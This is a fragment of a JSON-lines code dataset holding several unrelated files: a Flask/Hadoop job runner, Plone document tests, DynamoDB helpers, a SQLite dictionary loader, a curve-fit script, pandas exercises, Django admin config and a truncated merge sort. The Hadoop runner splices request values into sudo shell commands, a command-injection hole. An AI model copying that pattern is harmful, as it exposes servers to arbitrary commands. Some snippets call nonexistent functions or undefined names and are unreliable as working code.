/home/ubuntu/hadoop-2.7.3/share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar -input /input1/air.csv -output /output117 -mapper \"python /home/ubuntu/mapper_air.py\" -reducer \"python /home/ubuntu/reducer_air.py\"')\r\n\r\n #========================================\r\n #take input from user and run\r\n # output = commands.getoutput('sudo -S -u ubuntu home/ubuntu/hadoop-2.7.3/bin/hadoop jar /home/ubuntu/hadoop-2.7.3/share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar -D mapred.map.tasks=5 -D mapred.reduce.tasks=2 -input /input1/air.csv -output /output30 -mapper \"python /home/ubuntu/mapper_air.py\" -reducer \"python /home/ubuntu/reducer_air.py\"')\r\n output = commands.getoutput('sudo -S -u ubuntu home/ubuntu/hadoop-2.7.3/bin/hadoop jar /home/ubuntu/hadoop-2.7.3/share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar -D mapred.map.tasks='+mp+' -D mapred.reduce.tasks='+red+' -input /input1/data3.csv -output /output36 -mapper \"python /home/ubuntu/mapper_arg_pexam.py ' + arg1 + ' ' + arg2 + '\" -reducer \"python /home/ubuntu/reducer_arg_exam.py\"')\r\n print (\"Hello\")\r\n final_output = commands.getoutput('sudo -S -u ubuntu home/ubuntu/hadoop-2.7.3/bin/hdfs dfs -cat /output36/*')\r\n\r\n #==========================================================\r\n #take arguments\r\n\r\n # output = commands.getoutput('sudo -S -u ubuntu home/ubuntu/hadoop-2.7.3/bin/hadoop jar /home/ubuntu/hadoop-2.7.3/share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar -input /input3/data3.csv -output /output7 -mapper \"python /home/ubuntu/mapper.py ' + arg1 + ' ' + arg2 + '\" -reducer \"python /home/ubuntu/reducer_arg_exam.py\"')\r\n # print (\"Hello\")\r\n # final_output = commands.getoutput('sudo -S -u ubuntu home/ubuntu/hadoop-2.7.3/bin/hdfs dfs -cat /output4/*')\r\n\r\n #==============================================\r\n #Getting the files\r\n #==============================================\r\n # get_files = commands.getoutput('sudo -S -u ubuntu home/ubuntu/hadoop-2.7.3/bin/hdfs dfs -get /output196/* /home/ubuntu/')\r\n # data = [line.strip('\\t') for line in open(\"/home/ubuntu/part-00000\",\"rb\")]\r\n # # return str(finalDisplay)\r\n # newData = data.split(\"\\t\")\r\n\r\n #taking arguments and mapper and reducer:\r\n\r\n # output = commands.getoutput('sudo -S -u ubuntu home/ubuntu/hadoop-2.7.3/bin/hadoop jar /home/ubuntu/hadoop-2.7.3/share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar -input /input1/air.csv -output /output4 -mapper \"python /home/ubuntu/mapper_arg_pexam.py ' + arg1 + ' ' + arg2 + '\" -reducer \"python /home/ubuntu/reducer_arg_exam.py\"')\r\n # print (\"Hello\")\r\n # final_output = commands.getoutput('sudo -S -u ubuntu home/ubuntu/hadoop-2.7.3/bin/hdfs dfs -cat /output4/*')\r\n\r\n end = clock()\r\n elapsed = end - start\r\n #return str(elapsed)\r\n return str(final_output)\r\n #return str(elapsed)\r\n\r\n\r\nport = os.getenv('VCAP_APP_PORT', '8000')\r\nif __name__ == \"__main__\":\r\n app.run(host='127.0.0.1', port=int(port), debug=True)","sub_path":"AWS/Hadoop/aws_hadoop.py","file_name":"aws_hadoop.py","file_ext":"py","file_size_in_byte":4094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"420690152","text":"\n\n#calss header\nclass _CHAD():\n\tdef __init__(self,): \n\t\tself.name = \"CHAD\"\n\t\tself.definitions = [u'the piece that you remove when you make a hole in a piece of paper or card']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_chad.py","file_name":"_chad.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"616632156","text":"# -*- coding: utf-8 -*-\nfrom cgi import FieldStorage\nfrom Products.Archetypes import atapi\nfrom Products.Archetypes.interfaces.layer import ILayerContainer\nfrom Products.ATContentTypes import config as atct_config\nfrom Products.ATContentTypes.content.document import ATDocument\nfrom Products.ATContentTypes.interfaces import IATDocument\nfrom Products.ATContentTypes.interfaces import IHistoryAware\nfrom Products.ATContentTypes.interfaces import ITextContent\nfrom Products.ATContentTypes.lib.validators import TidyHtmlWithCleanupValidator\nfrom Products.ATContentTypes.tests import atctftestcase\nfrom Products.ATContentTypes.tests import atcttestcase\nfrom Products.ATContentTypes.tests.utils import dcEdit\nfrom Products.ATContentTypes.tests.utils import input_file_path\nfrom Products.ATContentTypes.tests.utils import NotRequiredTidyHTMLValidator\nfrom Products.CMFCore.permissions import ModifyPortalContent\nfrom Products.CMFCore.permissions import View\nfrom zope.interface.verify import verifyObject\nfrom ZPublisher.HTTPRequest import FileUpload\n\nimport transaction\n\n\nexample_stx = \"\"\"\nHeader\n\n Text, Text, Text\n\n * List\n * List\n\"\"\"\n\nexample_rest = \"\"\"\nHeader\n======\n\nText, text, text\n\n* List\n* List\n\"\"\"\n\n\ndef editATCT(obj):\n text_format = 'text/structured'\n dcEdit(obj)\n obj.setText(example_stx, mimetype=text_format)\n\n\nclass TestSiteATDocument(atcttestcase.ATCTTypeTestCase):\n\n klass = ATDocument\n portal_type = 'Document'\n title = 'Page'\n meta_type = 'ATDocument'\n\n def test_doesImplementHistoryAware(self):\n iface = IHistoryAware\n self.assertTrue(iface.providedBy(self._ATCT))\n self.assertTrue(verifyObject(iface, self._ATCT))\n\n def test_implementsTextContent(self):\n iface = ITextContent\n self.assertTrue(iface.providedBy(self._ATCT))\n self.assertTrue(verifyObject(iface, self._ATCT))\n\n def test_implementsATDocument(self):\n iface = IATDocument\n self.assertTrue(iface.providedBy(self._ATCT))\n self.assertTrue(verifyObject(iface, self._ATCT))\n\n def test_edit(self):\n new = self._ATCT\n editATCT(new)\n\n def test_cmf_edit_failure(self):\n self._ATCT.edit(thisisnotcmfandshouldbeignored=1)\n\n def test_rename_keeps_contenttype(self):\n doc = self._ATCT\n doc.setText(example_rest, mimetype=\"text/x-rst\")\n self.assertTrue(\n str(doc.getField('text').getContentType(doc)) == \"text/x-rst\")\n # make sure we have _p_jar\n transaction.savepoint(optimistic=True)\n\n cur_id = 'ATCT'\n new_id = 'WasATCT'\n self.folder.manage_renameObject(cur_id, new_id)\n doc = getattr(self.folder, new_id)\n field = doc.getField('text')\n self.assertTrue(str(field.getContentType(doc)) == \"text/x-rst\")\n\n def test_x_safe_html(self):\n doc = self._ATCT\n mimetypes = (\n ('text/html', '

test

'),\n # MTR does not know about text/stx, and transforming\n # doubles the tags. Yuck.\n ('text/structured', '

test

\\n'),\n )\n for mimetype, expected in mimetypes:\n # scrub html is removing unallowed tags\n text = \"

test

\"\n doc.setText(text, mimetype=mimetype)\n txt = doc.getText()\n self.assertEqual(txt, expected, (txt, expected, mimetype))\n\n def test_get_size(self):\n atct = self._ATCT\n editATCT(atct)\n self.assertEqual(atct.get_size(), len(example_stx))\n\n if atct_config.HAS_MX_TIDY:\n # this test is null and void if mx.Tidy isn't even installed\n\n def test_tidy_validator_with_upload_wrong_encoding(self):\n doc = self._ATCT\n\n field = doc.getField('text')\n request = self.app.REQUEST\n setattr(request, 'text_text_format', 'text/html')\n input_file_name = 'tidy1-in.html'\n in_file = open(input_file_path(input_file_name))\n env = {'REQUEST_METHOD': 'PUT'}\n headers = {\n 'content-type': 'text/html',\n 'content-length': len(in_file.read()),\n 'content-disposition': 'attachment; filename={}'.format(\n input_file_name)}\n in_file.seek(0)\n fs = FieldStorage(fp=in_file, environ=env, headers=headers)\n f = FileUpload(fs)\n\n tcv = TidyHtmlWithCleanupValidator('tidy_validator_with_cleanup')\n result = tcv.__call__(f, field=field, REQUEST=request)\n\n self.assertEqual(result, 1)\n\n expected_file = open(input_file_path('tidy1-out.html'))\n expected = expected_file.read()\n expected_file.close()\n self.assertEqual(request['text_tidier_data'], expected)\n\n\nclass TestATDocumentFields(atcttestcase.ATCTFieldTestCase):\n\n def afterSetUp(self):\n atcttestcase.ATCTFieldTestCase.afterSetUp(self)\n self._dummy = self.createDummy(klass=ATDocument)\n\n def test_text_field_mutator_filename(self):\n dummy = self._dummy\n field = dummy.getField('text')\n mutator = field.getMutator(dummy)\n self.assertEqual(field.getFilename(dummy), None)\n self.assertEqual(field.getContentType(dummy), 'text/html')\n mutator('', filename='foo.txt')\n self.assertEqual(field.getFilename(dummy), 'foo.txt')\n self.assertEqual(field.getContentType(dummy), 'text/plain')\n\n def test_text_field_mutator_mime(self):\n dummy = self._dummy\n field = dummy.getField('text')\n mutator = field.getMutator(dummy)\n self.assertEqual(field.getFilename(dummy), None)\n self.assertEqual(field.getContentType(dummy), 'text/html')\n mutator('', mimetype='text/plain')\n self.assertEqual(field.getFilename(dummy), None)\n self.assertEqual(field.getContentType(dummy), 'text/plain')\n\n def test_text_field_mutator_none_mime(self):\n dummy = self._dummy\n field = dummy.getField('text')\n mutator = field.getMutator(dummy)\n self.assertEqual(field.getFilename(dummy), None)\n self.assertEqual(field.getContentType(dummy), 'text/html')\n mutator('', mimetype=None)\n self.assertEqual(field.getFilename(dummy), None)\n self.assertEqual(field.getContentType(dummy), 'text/plain')\n\n def test_text_field_mutator_none_filename(self):\n dummy = self._dummy\n field = dummy.getField('text')\n mutator = field.getMutator(dummy)\n self.assertEqual(field.getFilename(dummy), None)\n self.assertEqual(field.getContentType(dummy), 'text/html')\n mutator('', filename=None)\n self.assertEqual(field.getFilename(dummy), None)\n self.assertEqual(field.getContentType(dummy), 'text/plain')\n\n def test_text_setEmptyText(self):\n dummy = self._dummy\n field = dummy.getField('text')\n\n # set text to a non-trivial value\n mutator = field.getMutator(dummy)\n mutator('Hello World!')\n\n # now, set an empty text\n mutator('')\n\n # verify that text is indeed empty\n accessor = field.getAccessor(dummy)\n self.assertEqual(accessor(), '')\n\n def test_textField(self):\n dummy = self._dummy\n field = dummy.getField('text')\n\n self.assertTrue(ILayerContainer.providedBy(field))\n self.assertTrue(field.required == 0, 'Value is %s' % field.required)\n self.assertTrue(field.default == '', 'Value is %s' %\n str(field.default))\n self.assertTrue(field.searchable == 1, 'Value is %s' %\n field.searchable)\n self.assertTrue(field.vocabulary == (),\n 'Value is %s' % str(field.vocabulary))\n self.assertTrue(field.enforceVocabulary == 0,\n 'Value is %s' % field.enforceVocabulary)\n self.assertTrue(field.multiValued == 0,\n 'Value is %s' % field.multiValued)\n self.assertTrue(field.isMetadata == 0, 'Value is %s' %\n field.isMetadata)\n self.assertTrue(field.accessor == 'getText',\n 'Value is %s' % field.accessor)\n self.assertTrue(field.mutator == 'setText',\n 'Value is %s' % field.mutator)\n self.assertTrue(field.read_permission == View,\n 'Value is %s' % field.read_permission)\n self.assertTrue(field.write_permission == ModifyPortalContent,\n 'Value is %s' % field.write_permission)\n self.assertTrue(field.generateMode == 'veVc',\n 'Value is %s' % field.generateMode)\n self.assertTrue(field.force == '', 'Value is %s' % field.force)\n self.assertTrue(field.type == 'text', 'Value is %s' % field.type)\n self.assertTrue(isinstance(field.storage, atapi.AnnotationStorage),\n 'Value is %s' % type(field.storage))\n self.assertTrue(\n field.getLayerImpl('storage') ==\n atapi.AnnotationStorage(migrate=True),\n 'Value is %s' % field.getLayerImpl('storage'))\n self.assertTrue(ILayerContainer.providedBy(field))\n self.assertTrue(field.validators == NotRequiredTidyHTMLValidator,\n 'Value is %s' % repr(field.validators))\n self.assertTrue(isinstance(field.widget, atapi.TinyMCEWidget),\n 'Value is %s' % id(field.widget))\n vocab = field.Vocabulary(dummy)\n self.assertTrue(isinstance(vocab, atapi.DisplayList),\n 'Value is %s' % type(vocab))\n self.assertTrue(tuple(vocab) == (), 'Value is %s' % str(tuple(vocab)))\n\n self.assertTrue(field.primary == 1, 'Value is %s' % field.primary)\n self.assertTrue(field.default_content_type is None,\n 'Value is %s' % field.default_content_type)\n self.assertTrue(field.default_output_type == 'text/x-html-safe',\n 'Value is %s' % field.default_output_type)\n\n self.assertTrue('text/html' in field.getAllowedContentTypes(dummy))\n\n\nclass TestATDocumentFunctional(atctftestcase.ATCTIntegrationTestCase):\n\n portal_type = 'Document'\n views = ('document_view', )\n\n def test_id_change_on_initial_edit(self):\n \"\"\"Make sure Id is taken from title on initial edit and not otherwise.\n \"\"\"\n # first create an object using the createObject script\n auth = self.getAuthToken()\n response = self.publish(\n '%s/createObject?type_name=%s&_authenticator=%s' % (\n self.folder_path, self.portal_type, auth),\n self.basic_auth)\n\n self.assertEqual(response.getStatus(), 302) # Redirect to edit\n\n location = response.getHeader('Location')\n self.assertTrue(location.startswith(self.folder_url), location)\n self.assertTrue('edit' in location, location)\n\n # Perform the redirect\n edit_form_path = location[len(self.app.REQUEST.SERVER_URL):]\n response = self.publish(edit_form_path, self.basic_auth)\n self.assertEqual(response.getStatus(), 200) # OK\n\n # Change the title\n obj_title = \"New Title for Object\"\n new_id = \"new-title-for-object\"\n new_obj = self.folder.portal_factory._getTempFolder('Document')[new_id]\n new_obj_path = '/%s' % new_obj.absolute_url(1)\n # object is not yet edited\n self.assertEqual(new_obj.checkCreationFlag(), True)\n\n from plone.protect import auto\n auto.CSRF_DISABLED = True\n # Edit object\n response = self.publish(\n '{}/atct_edit?form.submitted=1&title={}&text=Blank'\n '&_authenticator={}'.format(\n new_obj_path, obj_title, auth), self.basic_auth)\n self.assertEqual(response.getStatus(), 302) # OK\n new_obj = self.folder[new_id]\n self.assertEqual(new_obj.getId(), new_id) # does id match\n self.assertEqual(new_obj.checkCreationFlag(),\n False) # object is fully created\n new_title = \"Second Title\"\n # Edit object\n response = self.publish(\n '/{}/atct_edit?form.submitted=1&title={}&text=Blank'\n '&_authenticator={}'.format(\n new_obj.absolute_url(1), new_title, auth), self.basic_auth)\n self.assertEqual(response.getStatus(), 302) # OK\n self.assertEqual(new_obj.getId(), new_id) # id shouldn't have changed\n auto.CSRF_DISABLED = False\n","sub_path":"Products/ATContentTypes/tests/test_atdocument.py","file_name":"test_atdocument.py","file_ext":"py","file_size_in_byte":12501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"82700677","text":"from .iterators import chunked_iterable\n\n\ndef delete_dynamo_item(dynamo_client, *, table_name, key):\n \"\"\"\n Delete a single item from a DynamoDB table.\n \"\"\"\n dynamo_client.delete_item(TableName=table_name, Key=key)\n\n\ndef bulk_delete_dynamo_items(dynamo_client, *, table_name, keys):\n \"\"\"\n Bulk delete items in DynamoDB.\n \"\"\"\n # We can delete up to 25 items in a single BatchWriteItem call.\n for batch in chunked_iterable(keys, size=25):\n dynamo_client.batch_write_item(\n RequestItems={\n table_name: [{\"DeleteRequest\": {\"Key\": key}} for key in batch]\n }\n )\n\n\ndef list_dynamo_tables(dynamo_client):\n \"\"\"\n Lists all the DynamoDB tables in an AWS account.\n \"\"\"\n for page in dynamo_client.get_paginator(\"list_tables\").paginate():\n yield from page[\"TableNames\"]\n\n\ndef find_manifests_dynamo_table(dynamo_client, *, table_prefix):\n \"\"\"\n The VHS manifests table varies -- in particular it typically has a date suffix.\n\n Return the name of the manifests table.\n \"\"\"\n matching_tables = [\n t\n for t in list_dynamo_tables(dynamo_client)\n if t.startswith(f\"vhs-{table_prefix}-manifests-\")\n ]\n\n if len(matching_tables) == 0:\n raise RuntimeError(\"Could not work out the VHS manifests table!\")\n elif len(matching_tables) == 1:\n return matching_tables[0]\n else:\n raise RuntimeError(\n f\"Ambiguous choice of VHS manifests table: {', '.join(matching_tables)}\"\n )\n","sub_path":"scripts/helpers/dynamo.py","file_name":"dynamo.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"314066705","text":"import sqlite3\n\nimport dictionary_container\n\n\nclass DictionaryContainerFactory:\n database_connection: sqlite3.Connection\n\n def __init__(self):\n self.database_connection = self.get_database()\n\n def get_database(self):\n pass\n\n def new_instance(self):\n if self.database_connection is None:\n return None\n\n dictionary_dict = {}\n words = []\n\n cursor = self.database_connection.cursor()\n cursor.execute(\"SELECT word,definition FROM words\")\n results = cursor.fetchall()\n for row in results:\n dictionary_dict[row[0]] = row[1]\n words.append(row[0])\n return dictionary_container.DictionaryContainer(dictionary_dict, words)\n\n def close(self):\n if self.database_connection is None:\n return None\n self.database_connection.close()\n\n\nclass OfflineDictionaryContainerFactory(DictionaryContainerFactory):\n def __init__(self, db_path=None):\n if db_path is None:\n self.__db_path = \"dictionary.db\"\n else:\n self.__db_path = db_path\n super().__dict__['__DictionaryContainerFactory_get_database'] = self.get_database\n super().__init__()\n\n def get_database(self):\n return sqlite3.connect(self.__db_path)\n\n\nclass OnlineDictionaryContainerFactory(DictionaryContainerFactory):\n def __init__(self, db_url):\n self.__db_url = db_url\n super().__dict__['__DictionaryContainerFactory_get_database'] = self.get_database\n super().__init__()\n\n def get_database(self):\n import urllib\n urllib.urlget(self.__db_url)\n del urllib\n db_name = self.__db_url.split()[len(self.__db_url) - 1]\n return sqlite3.connect(db_name)\n","sub_path":"dictionary_container_factory.py","file_name":"dictionary_container_factory.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"651174134","text":"#!/home/meichen/anaconda3/bin/python\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sys import argv\nimport sys\nfrom scipy.optimize import curve_fit\n\n\ndef func(x,a,b,c):\n return np.log10(a) + np.log10(1 + x**2/b**2) - np.log10(1 + x**2/c**2)\n\n\ndata = np.genfromtxt('{}'.format(argv[1]))\nfreq = data[:,0]\namp = data[:,1]\n\npopt,pcov = curve_fit(func,freq,np.log10(amp),bounds=([1.0,0.0,0.0],[1000,10,10]),method='trf',loss='huber',f_scale=0.1)\n\nfig,ax = plt.subplots(1,1,figsize=[8,4])\nax.plot(freq,amp,'k-',lw=1,label=r'$M_0^m/M_0^{eGf}=31.6, f_c^{eGf}=1, f_c^M=0.5 $')\nax.plot(freq,10**(func(freq,*popt)),color='gray',ls='--',lw=2,alpha=0.7,label=r'$M_0^m/M_0^{eGf}=%4.1f, f_c^{eGf}=%4.2f, f_c^M=%4.2f $' % (popt[0],popt[1],popt[2]))\nax.set_xscale('log')\nax.set_yscale('log')\nax.set_xlabel('Frequency(Hz)',size=16)\nax.set_ylabel('Amp',size=16)\nfig.legend(loc=10)\nfig.tight_layout()\nplt.savefig('fit.png')\n","sub_path":"pulse1/fit.py","file_name":"fit.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"111013255","text":"# In this chapter, you will be introduced to pandas DataFrames. You will use pandas to import and inspect a variety of datasets, ranging from population data obtained from the World Bank to monthly stock data obtained via Yahoo Finance. You will also practice building DataFrames from scratch and become familiar with the intrinsic data visualization capabilities of pandas.\n# Return Single Column From Dataset Returns Series\n# Pandas Series is labelled 1 Dimensional NumPy Array\n# Pandas DataFrame is labelled 2 Dimensional Array whose Column are Series\n\n# NumPy and pandas working together\n# Pandas depends upon and interoperates with NumPy, the Python library for fast numeric array computations. For example, you can use the DataFrame attribute .values to represent a DataFrame df as a NumPy array. You can also pass pandas data structures to NumPy methods. In this exercise, we have imported pandas as pd and loaded world population data every 10 years since 1960 into the DataFrame df. This dataset was derived from the one used in the previous exercise.\n\n# Your job is to extract the values and store them in an array using the attribute .values. You'll then use those values as input into the NumPy np.log10() method to compute the base 10 logarithm of the population values. Finally, you will pass the entire pandas DataFrame into the same NumPy np.log10() method and compare the results.\n\n# Import numpy\nimport numpy as np\n\n# Create array of DataFrame values: np_vals\n#np_vals = df.values\n\n# Create new array of base 10 logarithm values: np_vals_log10\n#np_vals_log10 = np.log10(np_vals)\n\n# Create array of new DataFrame by passing df to np.log10(): df_log10\n#df_log10 = np.log10(df)\n\n# Print original and new data containers\n# [print(x, 'has type', type(eval(x))) for x in ['np_vals', 'np_vals_log10', 'df', 'df_log10']]\n\n# As a data scientist, you'll frequently interact with NumPy arrays, pandas Series, and pandas DataFrames, and you'll leverage a variety of NumPy and pandas methods to perform your desired computations. Understanding how NumPy and pandas work together will prove to be very useful.\n\n# DataFrames from Dictionaries\nimport pandas as pd\n\ndata = {\n\t'weekday': ['Sun', 'Sun', 'Mon', 'Mon'],\n\t'city': ['Austin', 'Dallas', 'Austin', 'Dallas'],\n\t'visitors': [139, 237, 236, 456],\n\t'signups': [7, 12, 3, 5]\n}\n\nusers = pd.DataFrame(data)\n\nprint(users)\n\n# weekday city visitors signups\n# 0 Sun Austin 139 7\n# 1 Sun Dallas 237 12\n# 2 Mon Austin 236 3\n# 3 Mon Dallas 456 5\ncities = ['Austin', 'Dallas', 'Austin', 'Dallas']\nsignups = [7, 12, 3, 5]\nvisitors = [139, 237, 236, 456]\nweekdays = ['Sun', 'Sun', 'Mon', 'Mon']\nlist_labels = ['cities', 'signups', 'visitors', 'weekdays']\nlist_cols = [cities, signups, visitors, weekdays]\nzipped = list(zip(list_labels, list_cols))\ndata = dict(zipped)\nusers = pd.DataFrame(data)\nprint(users)\n\n# Broadcasting\nusers['fees'] = 0 # Broadcasts to Entire Column\nprint(users)\n\n# Broadcasting with a Dictionary\nheights = [59.0, 65.2, 62.9, 65.4, 63.7, 65.7, 64.1]\ndata = {'heights': heights, 'Gender': 'M'}\nresults = pd.DataFrame(data)\nprint(results)\nresults.columns = ['height (in)', 'sex']\nresults.index = ['A', 'B', 'C', 'D', 'E', 'F', 'G']\nprint(results)\n\n# Zip lists to build a DataFrame\n# In this exercise, you're going to make a pandas DataFrame of the top three countries to win gold medals since 1896 by first building a dictionary. list_keys contains the column names 'Country' and 'Total'. list_values contains the full names of each country and the number of gold medals awarded. The values have been taken from Wikipedia.\n\n# Your job is to use these lists to construct a list of tuples, use the list of tuples to construct a dictionary, and then use that dictionary to construct a DataFrame. In doing so, you'll make use of the list(), zip(), dict() and pd.DataFrame() functions. Pandas has already been imported as pd.\n\n# Note: The zip() function in Python 3 and above returns a special zip object, which is essentially a generator. To convert this zip object into a list, you'll need to use list(). You can learn more about the zip() function as well as generators in Python Data Science Toolbox (Part 2).\n# Zip the 2 lists together into one list of (key,value) tuples: zipped\nzipped = list(zip(list_keys, list_values))\n\n# Inspect the list using print()\nprint(zipped)\n\n# Build a dictionary with the zipped list: data\ndata = dict(zipped)\n\n# Build and inspect a DataFrame from the dictionary: df\ndf = pd.DataFrame(data)\nprint(df)\n\n# Labeling your data\n# You can use the DataFrame attribute df.columns to view and assign new string labels to columns in a pandas DataFrame.\n\n# In this exercise, we have imported pandas as pd and defined a DataFrame df containing top Billboard hits from the 1980s (from Wikipedia). Each row has the year, artist, song name and the number of weeks at the top. However, this DataFrame has the column labels a, b, c, d. Your job is to use the df.columns attribute to re-assign descriptive column labels.\n# Build a list of labels: list_labels\nlist_labels = ['year', 'artist', 'song', 'chart weeks']\n\n# Assign the list of labels to the columns attribute: df.columns\ndf.columns = list_labels\n\n# Building DataFrames with broadcasting\n# You can implicitly use 'broadcasting', a feature of NumPy, when creating pandas DataFrames. In this exercise, you're going to create a DataFrame of cities in Pennsylvania that contains the city name in one column and the state name in the second. We have imported the names of 15 cities as the list cities.\n# Your job is to construct a DataFrame from the list of cities and the string 'PA'.\n\n# Make a string with the value 'PA': state\nstate = 'PA'\n\n# Construct a dictionary: data\ndata = {'state':state, 'city':cities}\n\n# Construct a DataFrame from dictionary data: df\ndf = pd.DataFrame(data)\n\n# Print the DataFrame\nprint(df)\n\n# Read in the file: df1\ndf1 = pd.read_csv(data_file)\n\n# Create a list of the new column labels: new_labels\nnew_labels = ['year','population']\n\n# Read in the file, specifying the header and names parameters: df2\ndf2 = pd.read_csv(data_file, header=0, names=new_labels)\n\n# Print both the DataFrames\nprint(df1)\nprint(df2)\n\n# Read the raw file as-is: df1\ndf1 = pd.read_csv(file_messy)\n\n# Print the output of df1.head()\nprint(df1.head())\n\n#Delimiters, headers, and extensions\n# Not all data files are clean and tidy. Pandas provides methods for reading those not-so-perfect data files that you encounter far too often.\n\n# In this exercise, you have monthly stock data for four companies downloaded from Yahoo Finance. The data is stored as one row for each company and each column is the end-of-month closing price. The file name is given to you in the variable file_messy.\n\n# In addition, this file has three aspects that may cause trouble for lesser tools: multiple header lines, comment records (rows) interleaved throughout the data rows, and space delimiters instead of commas.\n\n# Your job is to use pandas to read the data from this problematic file_messy using non-default input options with read_csv() so as to tidy up the mess at read time. Then, write the cleaned up data to a CSV file with the variable file_clean that has been prepared for you, as you might do in a real data workflow.\n\n# You can learn about the option input parameters needed by using help() on the pandas function pd.read_csv().\n# Read in the file with the correct parameters: df2\ndf2 = pd.read_csv(file_messy, delimiter=' ', header=3, comment='#')\n\n# Print the output of df2.head()\nprint(df2.head())\n\n# Save the cleaned up DataFrame to a CSV file without the index\ndf2.to_csv(file_clean, index=False)\n\n# Save the cleaned up DataFrame to an excel file without the index\ndf2.to_excel('file_clean.xlsx', index=False)\n\n# Plotting DataFrames\n# Comparing data from several columns can be very illuminating. Pandas makes doing so easy with multi-column DataFrames. By default, calling df.plot() will cause pandas to over-plot all column data, with each column as a single line. In this exercise, we have pre-loaded three columns of data from a weather data set - temperature, dew point, and pressure - but the problem is that pressure has different units of measure. The pressure data, measured in Atmospheres, has a different vertical scaling than that of the other two data columns, which are both measured in degrees Fahrenheit.\n\n# Your job is to plot all columns as a multi-line plot, to see the nature of vertical scaling problem. Then, use a list of column names passed into the DataFrame df[column_list] to limit plotting to just one column, and then just 2 columns of data. When you are finished, you will have created 4 plots. You can cycle through them by clicking on the 'Previous Plot' and 'Next Plot' buttons.\n\n# As in the previous exercise, inspect the DataFrame df in the IPython Shell using the .head() and .info() methods.\n# Plot all columns (default)\ndf.plot()\nplt.show()\n\n# Plot all columns as subplots\ndf.plot(subplots = True)\nplt.show()\n\n# Plot just the Dew Point data\ncolumn_list1 = ['Dew Point (deg F)']\ndf[column_list1].plot()\nplt.show()\n\n# Plot the Dew Point and Temperature data, but not the Pressure data\ncolumn_list2 = ['Temperature (deg F)','Dew Point (deg F)']\ndf[column_list2].plot()\nplt.show()","sub_path":"03_Pandas Foundations/01_Data_Ingestion_and_Inspection.py","file_name":"01_Data_Ingestion_and_Inspection.py","file_ext":"py","file_size_in_byte":9323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"177934122","text":"from django.contrib import admin\nfrom django.contrib.auth.models import Group, User\nfrom django.contrib.auth.admin import UserAdmin as BaseUserAdmin\nfrom content.models import (\n Attachment,\n ContactUsEmail,\n Directory,\n Fact,\n Header,\n Location,\n Resource,\n ResourceListDetail,\n Section,\n SocialMedia,\n SignUpInstructions)\nfrom content.forms import SignUpInstructionsForm\n\n\n# class UserAdmin(BaseUserAdmin):\n# list_filter = []\n# search_fields = []\n\n# def get_form(self, request, obj=None, **kwargs):\n# user_group = Group.objects.get(name=\"PYLP Member\")\n# if user_group in request.user.groups.all():\n# print(self.list_filter)\n# # self.exclude = (\n# # \"date_joined\",\n# # \"groups\",\n# # \"is_active\",\n# # \"is_superuser\",\n# # \"last_login\",\n# # \"user_permissions\",\n# # )\n# # # self.exclude = (\"email\",)\n# # print(self.exclude)\n# form = super(UserAdmin, self).get_form(request, obj, **kwargs)\n# return form\n\n# def get_queryset(self, request):\n# user_group = Group.objects.get(name=\"PYLP Member\")\n# qs = super(UserAdmin, self).get_queryset(request)\n# if user_group in request.user.groups.all():\n# return qs.filter(id=request.user.id)\n# else:\n# return qs\nclass AttachmentInLine(admin.StackedInline):\n model = Attachment\n extra = 1\n max_num = 5\n\n\nclass ResourceAdmin(admin.ModelAdmin):\n inlines = [AttachmentInLine, ]\n exclude = ['slug', ]\n\n\nclass SignUpInstructionsAdmin(admin.ModelAdmin):\n form = SignUpInstructionsForm\n\n\nadmin.site.register(SignUpInstructions, SignUpInstructionsAdmin)\nadmin.site.register(Header)\nadmin.site.register(Section)\nadmin.site.register(Fact)\nadmin.site.register(SocialMedia)\nadmin.site.register(Resource, ResourceAdmin)\nadmin.site.register(ResourceListDetail)\nadmin.site.register(Location)\nadmin.site.register(Directory)\nadmin.site.register(ContactUsEmail)\n","sub_path":"content/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"17218269","text":"#!/usr/bin/env python\n\n# The merge sort algorithm uses a divide-and-conquer strategy. It splits the array to sort in two, and sorts these two parts recursively. Then it merges the two sorted subarrays.\n#\n# The algorithm is in O(n.log2(n))\n#\n# Since it uses a divide-and-conquer strategy, it can be parallelized.\n\nfrom common import run_sort\n\n# Merge two consecutive subparts of an array. Indicies of the subparts are [p,q] and [q,r].\n# The algorithm uses a buffer.\ndef merge(a, p, q, r):\n\ttmp = []\n\ti = p\n\tj = q + 1\n\twhile i <= q or j <= r :\n\t\tif i <= q and (j > r or a[i] < a[j]) :\n\t\t\ttmp.append(a[i])\n\t\t\ti = i + 1\n\t\telse :\n\t\t\ttmp.append(a[j])\n\t\t\tj = j + 1\n\n\t# copy back buffer\n\tfor i in range(len(tmp)) :\n\t\ta[p + i] = tmp[i]\n\n# Merge sort. Use recursive algorithm\ndef do_merge_sort(a, i, j):\n\tif j - i + 1 > 2 :\n\t\tk = (j + i) / 2\n\t\tdo_merge_sort(a, i, k)\n\t\tdo_merge_sort(a, k + 1, j)\n\t\tmerge(a, i, k, j)\n\telif j - i + 1 == 2 and a[i] > a[j] 